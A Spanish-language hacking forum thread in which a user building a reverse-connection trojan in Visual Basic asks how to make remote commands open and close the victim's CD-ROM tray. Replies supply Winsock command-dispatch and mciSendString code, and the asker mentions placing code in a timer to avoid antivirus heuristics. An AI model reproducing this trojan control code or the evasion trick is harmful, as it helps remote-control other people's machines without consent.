Alguien sabe?

[astaroth_15]

Buenas de nuevo, tengo una duda que no se como aclarar, pero seguro que es lo más facil que nada


Bueno al grano..

Mi troyano va por conexión inversa, y quiero que abra el cd-rom, bien hasta hay vamos ok


Lo raro esque me abre el cdrom, pero despues para cerrarlo no me hace caso y me suelta un error...

El codigo es este haber si ustedes pueden ayudarme:

en un timer tengo puesto esto, por que si no me salta la heuristica:

----------------------------------

Código [Seleccionar] Expandir

    Dim Res As Long, ReturnString As String * 127
    Res = mciSendString("Set CDAudio Door Open", ReturnString, 127, 0)-----------------------------------
y aqui en:

Código [Seleccionar] Expandir

Private Sub WS_DataArrival(ByVal bytesTotal As Long)
On Error GoTo error
Dim opencd As String
ws.GetData opencd
opencd = Command8_Click
error:
End Sub-----------

Y en el cliente en un boton tengo puesto:

Código [Seleccionar] Expandir

Ws.SendData "opencd"------------


Pero no me hace caso.. alguien me puede echar una mano de como puedo hacer que me abra y cierre con 2 botones? si es 1 mejor 


Codigo cd-rom:

Código [Seleccionar] Expandir

[color=red]Para abrir es:[/color]
   Dim Res As Long, ReturnString As String * 127
    Res = mciSendString("Set CDAudio Door Open", ReturnString, 127, 0)
[color=red]Para cerrar es:[/color]
   Dim Res As Long, ReturnString As String * 127
    Res = mciSendString("Set CDAudio Door Closed", ReturnString, 127, 0)


Gracias eh! espero respuesta saludos a todos! 

[Freeze.]

Te hice este code

Código [Seleccionar] Expandir


Private Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" (ByVal lpstrCommand As String, ByVal lpstrReturnString As String, ByVal uReturnLength As Long, ByVal hwndCallback As Long) As Long
Private Sub Form_Load()
AbrirCD
CerrarCD
End Sub
Private Sub AbrirCD()
Dim Res As Long, ReturnString As String * 127
    Res = mciSendString("Set CDAudio Door Open", ReturnString, 127, 0)
End Sub
Private Sub CerrarCD()
Dim Res As Long, ReturnString As String * 127
    Res = mciSendString("Set CDAudio Door Closed", ReturnString, 127, 0)
End Sub


Test 100% Funciona:
Windows Xp Sp2

[astaroth_15]

No si eso ya lo se si lo pongo en un command y si me abre pero el problema esque si le doy desde el cliente que no me hace caso, abre pero despues no cierra, creo que hace caso de todo lo que hay en Data Arrive entiendes? no se como separarlo..


Gracias por el code, pero no es exactamente compi

[Yekka]

 
Cita de: ►Freeze

Te hice este code

   No hace mucho se posteo:
   http://foro.elhacker.net/index.php/topic,185985.0.html

[HaDeS, -]

A ver, podría ser algo como esto, igual no entendi muy bien lo que queres hacer:

Código (vb) [Seleccionar] Expandir


'este es el server que manda los datos
private sub command1_click()
Ws.senddata "opencd" 'Para abrir cd
Ws.senddata "closecd" 'para cerrar cd
end sub


y en el cliente:

Código (vb) [Seleccionar] Expandir


Private Sub WS_DataArrival(ByVal bytesTotal As Long)
dim dato$ 'dato a string, es igual
Ws.getdata dato
if lcase$(dato) = "opencd" then
mciSendString "Set CDAudio Door Open", ReturnString, 127, 0
elseif lcase$(dato) = "closecd" then
mciSendString "Set CDAudio Door Closed", ReturnString, 127, 0
else
'más opciones ...
end if
end sub


Bueno, saludos

Editado: Man, qué hace este code?

Private Sub WS_DataArrival(ByVal bytesTotal As Long)
On Error GoTo error
Dim opencd As String
ws.GetData opencd
opencd = Command8_Click
error:
End Sub

Porque miro que le das un valor a opencd con el getdata y luego le vuelves a dar un valor con el command8_click xD